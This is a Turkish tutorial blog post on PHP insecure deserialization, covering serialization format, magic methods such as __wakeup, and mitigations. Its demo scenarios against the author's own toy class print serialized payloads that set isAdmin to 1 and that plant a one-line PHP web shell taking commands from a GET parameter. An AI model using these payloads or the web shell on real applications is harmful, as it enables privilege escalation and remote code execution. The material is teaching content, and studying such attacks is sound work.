Insecure Deserialization

Sefa Ozan
5 min readSep 2, 2021

--

Herkese merhaba, bu yazımda sizlere elimden gelidiğince Insecure Deserialization zafiyetinin ne olduğunu, nasıl sömürülebileceğini ve bu zafiyetin oluşmasını engellemek için ne gibi önlemler alabileceğinizi anlatacağım.

Insecure Deserialization zafiyetine geçmeden önce, Serialization/ Deserialization işlemlerinin ne olduğunu bilmemiz gerekiyor.

Serialization/Deserialization Nedir?

Serialization & Desarialization

Serialization, elimizdeki bir dizi ya da objeyi disk/network üzerine yazabileceğimiz bir yapıya çevirme işlemine denir.

Deserialization, haliyle serialize edilmiş bilginin terkrar objeye çevrilmesine denir.

Serialization/Deserialization’ın ne olduğunu daha iyi anlamamız için bu işlemleri bir örnekte inceleyelim.

User Sınıf’ı

Yukarıdaki PHP kodunu incelediğimizde, User Class’ına ait üç tane property’nin olduğunu görüyoruz. Bunlar firstname, lastname ve isAdmin dir. Ayrıca User Class’ında tanımlı iki tane Magic Method ve iki tane de normal method olduğunu görüyoruz.

Magic Metotlar

PHP’de çift alt çizgi (__) ile tanımlanmış metotlar sihirli / özel / magic metot olarak adlandırılır. Bu metotları diğer metotlardan ayıran en büyük fark magic metotların kendiliğinden çağrılmasıdır.

Insecure Deserialization zafiyetinin sömürülmesi sırasında en çok kullanılan magic methodlar aşağıdaki gibidir.

__construct :

Kurucu method olarak da adlandırılır. Bir classtan nesne örnekleneceği zaman çağırılır. Genellikle ilk değer ataması yapmak için kullanılır.

__destruct :

Nesne silindiğinde otomatik olarak çağrılan metotdur.

__toString :

Nesne yazdırıldığında çalışır.

__call :

Nesne içinde olmayan bir metot çağrıldığında bu metot çalışır.

__wakeup :

Nesneye unserialize fonksiyonu uygulandığında bu metot çalışır.

** * Deserialization işlemlerinde wakeup ve destruct methodları otomatikmen çağırılır. ***

Yukarıdaki resimde gördüğümüz user1 nesnesini aşağıdaki resimde gördüğümüz serialize.php kodu ile serialize edersek ;

Serialize edebilmek için yazdığım PHP kodu

Aşağıdaki gibi bir string ile karşılaşırız. Yaptığımız bu işleme Serialization denir.

Bu string’in bize anlatmaya çalıştığı şey :

$payload = 'O:4:"User":3:{s:9:"firstname";s:4:"Sefa";s:8:"lastname";s:4:"OZAN";s:7:"isAdmin";i:0;}';
  • O:4:"User" - Bir objeyi temsil eder. Oluşturulduğu sınıfın ismi dört karakterden oluşur ve bu sınıfın ismi User’dır.
  • 3 - Üç tane attribute’u vardır.
  • s:9:"firstname" - İlk attribute dokuz karakterden oluşur ve bu attribute’un ismi firstname’dir.
  • s:4:"Sefa" - İlk attribute’un değeri Sefa’dır ve dört karakterden oluşur.
  • s:8:"lastname" - İkinci attribute sekiz karakterden oluşur ve bu attribute’un ismi lastname’dir.
  • s:4:"OZAN" - İkinci attribute’un değeri OZAN’dır ve dört karakterden oluşur.
  • s:7:"isAdmin" - Üçüncü attribute yedi karakterden oluşur ve bu attribute’un ismi isAdmin’dir.
  • i:0 - Üçüncü attribute’un değeri 0’dır.

Oluşturduğumuz bu string’den tekrar objeyeye geri dönmek istediğimizde Deserialization işlemi yapmamız gerekiyor.

Deserialization işlemi için yazdığım PHP kodu

Yukarıdaki PHP kodunu incelediğimizde;

  • Payload değişkenine verilen stringden, $deserialized_obj adında bir nesne ürettiğmizi görüyoruz.
  • Yeni üretilen nesnenin methodlarına erişebildiğimizi göstermek için beniCagir ve adminMiyim methodlarını çağırdım.
deserialize.php çıktısı

Peki biz bu deserialize edilecek string’i güvenilmez bir kaynaktan alırsak ne olur?

Eğer güvenilmez kaynaktan aldığımız string üzerinde herhangi bir validation yapmazsak hiç istemeyeceğimiz sonuçlar ile karşı karşıya kalırız.

Bu sonuçlar;

  • Bu güvenlik açığı, saldırganın mevcut uygulama kodunu zararlı şekillerde yeniden kullanmasına izin verdiğinden dolayı genellikle uzaktan kod çalıştırma gibi başka çok sayıda diğer güvenlik açıklarına da neden olur.
  • Uzaktan kod çalıştırma mümkün olmadığı durumlarda bile, insecure deserialization zafiyeti; ayrıcalık yükseltme, rastgele dosya erişimi ve hizmet reddi saldırılarına yol açabildiğinden dolayı çok tehlikelidir.

Yukarıda bahsedilen etkileri daha iyi gösterebilmek için hazırladığım senaryoları inceleyelim.

Aşağıdaki php kodunu incelediğimizde, deserialize edilmesi için gönderilen stringin bizim orijinaldeki user1 nesnesini serialize etmemiz sonucunda ortaya çıkan stringden farklı olduğunu görüyoruz. Çünkü saldırgan değiştirdi :)

//değiştirilmiş payload$payload = 'O:4:"User":3:{s:9:"firstname";s:9:"Merve Nur";s:8:"lastname";s:4:"OZAN";s:7:"isAdmin";i:1;}';

Güvenilmez kaynaktan aldığımız bütün inputlara validation uygulamamız gerekiyor. Aksi taktirde saldırgan, $payload değişkenindeki String üzerinde oynamalar yaparak yetkisini yükseltmeyi başarabilir.

Bir başka örnek:

Aşağıdaki User Class’ında __wakeup() adında bir magic metodunun olduğunu görüyoruz. Bu metodun ne yaptığına baktığımızda;

  • $icerik değişkeninin değerini newfile.php dosyasına kaydediyor.

Hatırlarsınız ki Insecure Desearilization zafiyetinin olayı, devoloper’ın yazdığı property’lere erişip bunlar üzerinde manüpülasyonlar yapmaktı.

Eğer biz bu $icerik adlı değişkene ulaşıp, içeriğini değiştirirsek kendi php dosyamızı sisteme yükleriz ve bu sayede RCE elde edebiliriz.

Gördüğünüz gibi sistemde whoami komutunu çalıştırabiliyoruz.

Sisteme PHP backdoor yüklemek isterseniz $payload olarak aşağıdaki string’i vermeniz yeterli olacaktır.

$payload = 'O:4:"User":4:{s:6:"icerik";s:0:"";s:7:"soyisim";s:4:"OZAN";s:7:"isAdmin";O:6:"Kaydet":1:{s:6:"icerik";s:24:"<?php system($_GET["cmd"]); ?>";}s:4:"isim";s:4:"Sefa";}';

Sisteme backdoor yüklemeye çalışırken, yandan windows defender uyarı verdi. lol

Bir başka senaryomuz ise;

Adres space’imiz üzerindeki bütün Class’lara erişebileceğimizi göstermek için hazırladığım bu örnekte Kaydet adında bir Class olduğunu ve bu class’a ait __wakeup magic metodunun olduğunu görüyoruz.

Bu __wakeup methodunun yaptığı iş yukarıdaki örnekteki ile aynı. Tek fark, bu methodun başka bir classta tanımlanmış olması.

Developer bizden isAdmin değişkenininin değerini 0 beklerken biz; isAdmin değişkeni üzerinden başka bir sınıf create ettirerek diğer sınıflara da erişebilemizi sağlıyoruz. Bu sayede istediğimiz her sınıfın değişkenlerini istediğimiz gibi manüpüle edebiliriz.

$this->isAdmin = new Kaydet();

$payload = ‘O:4:”User”:4:{s:6:”icerik”;s:0:””;s:7:”soyisim”;s:4:”OZAN”;s:7:”isAdmin”;O:6:”Kaydet”:1:{s:6:”icerik”;s:24:”<?php exec(“whoami”); ?>”;}s:4:”isim”;s:4:”Sefa”;}’;

Insecure Deserialization Güvenlik Açıkları Nasıl Önlenir?

  • Gerekli olmadıkça kullanıcı girdisinin seri hale getirilmesinden kaçınılmalıdır.
  • Güvenilmeyen kaynaklardan gelen verileri seri durumdan çıkarmanız gerekiyorsa, verilerin kurcalanmadığından emin olmak için sağlam önlemler almalısınız. Örneğin, verilerin değiştirilip değiştirilmediğini kontrol etmek için bir dijital imza kullanabilirsiniz.

Kaynakça

--

--

Sefa Ozan
Sefa Ozan

No responses yet